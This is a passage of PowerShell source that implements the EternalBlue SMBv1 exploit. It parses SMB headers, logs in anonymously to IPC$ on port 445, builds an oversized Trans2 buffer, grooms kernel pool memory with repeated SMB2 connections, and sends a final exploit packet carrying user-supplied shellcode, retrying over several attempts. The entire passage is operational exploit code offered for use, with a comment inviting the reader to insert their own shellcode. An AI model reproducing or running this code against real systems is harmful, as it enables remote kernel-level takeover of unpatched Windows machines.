smb_command=$smbheader[4];
|
|
error_class=$smbheader[5];
|
|
reserved1=$smbheader[6];
|
|
error_code=$smbheader[6..7];
|
|
flags=$smbheader[8];
|
|
flags2=$smbheader[9..10];
|
|
process_id_high=$smbheader[11..12];
|
|
signature=$smbheader[13..21];
|
|
reserved2=$smbheader[22..23];
|
|
tree_id=$smbheader[24..25];
|
|
process_id=$smbheader[26..27];
|
|
user_id=$smbheader[28..29];
|
|
multiplex_id=$smbheader[30..31];
|
|
}
|
|
return $parsed_header
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
function smb1_get_response($sock){
|
|
|
|
|
|
|
|
$tcp_response = [Array]::CreateInstance("byte", 1024)
|
|
try{
|
|
$sock.Receive($tcp_response)| out-null
|
|
|
|
}
|
|
catch {
|
|
Write-Output "socket error, exploit may fail "
|
|
}
|
|
$netbios = $tcp_response[0..4]
|
|
$smb_header = $tcp_response[4..36] # SMB Header: 32 bytes
|
|
$parsed_header = smb_header($smb_header)
|
|
|
|
return $tcp_response, $parsed_header
|
|
|
|
}
|
|
|
|
|
|
function client_negotiate($sock){
|
|
$raw_proto = negotiate_proto_request
|
|
$sock.Send($raw_proto) | out-null
|
|
return smb1_get_response($sock)
|
|
|
|
}
|
|
|
|
function smb1_anonymous_login($sock){
|
|
$raw_proto = make_smb1_anonymous_login_packet
|
|
$sock.Send($raw_proto) | out-null
|
|
return smb1_get_response($sock)
|
|
|
|
|
|
}
|
|
|
|
function tree_connect_andx($sock, $Target, $userid){
|
|
$raw_proto = tree_connect_andx_request $Target $userid
|
|
$sock.Send($raw_proto) | out-null
|
|
return smb1_get_response($sock)
|
|
|
|
|
|
}
|
|
|
|
|
|
function smb1_anonymous_connect_ipc($Target)
|
|
{
|
|
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
|
|
|
|
$sock = $client.Client
|
|
client_negotiate($sock) | Out-Null
|
|
|
|
$raw, $smbheader = smb1_anonymous_login $sock
|
|
|
|
$raw, $smbheader = tree_connect_andx $sock $Target $smbheader.user_id
|
|
|
|
|
|
return $smbheader, $sock
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
function smb1_large_buffer($smbheader,$sock){
|
|
|
|
$nt_trans_pkt = make_smb1_nt_trans_packet $smbheader.tree_id $smbheader.user_id
|
|
|
|
# send NT Trans
|
|
|
|
$sock.Send($nt_trans_pkt) | out-null
|
|
|
|
$raw, $transheader = smb1_get_response($sock)
|
|
|
|
#initial trans2 request
|
|
$trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_zero" 0
|
|
|
|
#send all but the last packet
|
|
for($i =1; $i -le 14; $i++) {
|
|
$trans2_pkt_nulled += make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_buffer" $i
|
|
|
|
}
|
|
|
|
$trans2_pkt_nulled += make_smb1_echo_packet $smbheader.tree_id $smbheader.user_id
|
|
$sock.Send($trans2_pkt_nulled) | out-null
|
|
|
|
smb1_get_response($sock) | Out-Null
|
|
|
|
}
|
|
|
|
|
|
function smb1_free_hole($start) {
|
|
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
|
|
|
|
$sock = $client.Client
|
|
client_negotiate($sock) | Out-Null
|
|
if($start) {
|
|
$pkt = make_smb1_free_hole_session_packet (0x07,0xc0) (0x2d,0x01) (0xf0,0xff,0x00,0x00,0x00)
|
|
}
|
|
else {
|
|
$pkt = make_smb1_free_hole_session_packet (0x07,0x40) (0x2c,0x01) (0xf8,0x87,0x00,0x00,0x00)
|
|
}
|
|
|
|
$sock.Send($pkt) | out-null
|
|
smb1_get_response($sock) | Out-Null
|
|
return $sock
|
|
}
|
|
|
|
function smb2_grooms($Target, $grooms, $payload_hdr_pkt, $groom_socks){
|
|
|
|
|
|
for($i =0; $i -lt $grooms; $i++)
|
|
{
|
|
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
|
|
|
|
$gsock = $client.Client
|
|
$groom_socks += $gsock
|
|
$gsock.Send($payload_hdr_pkt) | out-null
|
|
|
|
}
|
|
return $groom_socks
|
|
}
|
|
|
|
|
|
|
|
|
|
function smb_eternalblue($Target, $grooms, $Shellcode) {
|
|
|
|
|
|
#replace null bytes with your shellcode
|
|
[Byte[]] $payload = [Byte[]]($Shellcode)
|
|
|
|
$shellcode = make_kernel_user_payload($payload)
|
|
$payload_hdr_pkt = make_smb2_payload_headers_packet
|
|
$payload_body_pkt = make_smb2_payload_body_packet($shellcode)
|
|
|
|
Write-Output "Connecting to target for activities"
|
|
$smbheader, $sock = smb1_anonymous_connect_ipc($Target)
|
|
$sock.ReceiveTimeout =2000
|
|
Write-Output "Connection established for exploitation."
|
|
# Step 2: Create a large SMB1 buffer
|
|
Write-Output "all but last fragment of exploit packet"
|
|
smb1_large_buffer $smbheader $sock
|
|
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
|
|
|
|
# initialize_groom_threads(ip, port, payload, grooms)
|
|
$fhs_sock = smb1_free_hole $true
|
|
$groom_socks =@()
|
|
$groom_socks = smb2_grooms $Target $grooms $payload_hdr_pkt $groom_socks
|
|
|
|
$fhf_sock = smb1_free_hole $false
|
|
|
|
$fhs_sock.Close() | Out-Null
|
|
|
|
$groom_socks = smb2_grooms $Target 6 $payload_hdr_pkt $groom_socks
|
|
|
|
$fhf_sock.Close() | out-null
|
|
|
|
Write-Output "Running final exploit packet"
|
|
|
|
$final_exploit_pkt = $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_exploit" 15
|
|
|
|
try{
|
|
$sock.Send($final_exploit_pkt) | Out-Null
|
|
$raw, $exploit_smb_header = smb1_get_response $sock
|
|
Write-Output ("SMB code: " + [System.BitConverter]::ToString($exploit_smb_header.error_code))
|
|
|
|
}
|
|
catch {
|
|
Write-Output "socket error, exploit may fail horribly"
|
|
}
|
|
|
|
|
|
Write-Output "Send the payload with the grooms"
|
|
|
|
foreach ($gsock in $groom_socks)
|
|
{
|
|
$gsock.Send($payload_body_pkt[0..2919]) | out-null
|
|
}
|
|
foreach ($gsock in $groom_socks)
|
|
{
|
|
$gsock.Send($payload_body_pkt[2920..4072]) | out-null
|
|
}
|
|
foreach ($gsock in $groom_socks)
|
|
{
|
|
$gsock.Close() | out-null
|
|
}
|
|
|
|
$sock.Close()| out-null
|
|
}
|
|
|
|
|
|
|
|
|
|
$VerbosePreference = "continue"
|
|
for ($i=0; $i -lt $MaxAttempts; $i++) {
|
|
$grooms = $InitialGrooms + $GROOM_DELTA*$i
|
|
smb_eternalblue $Target $grooms $Shellcode
|
|
}
|
|
|
|
|
|
} |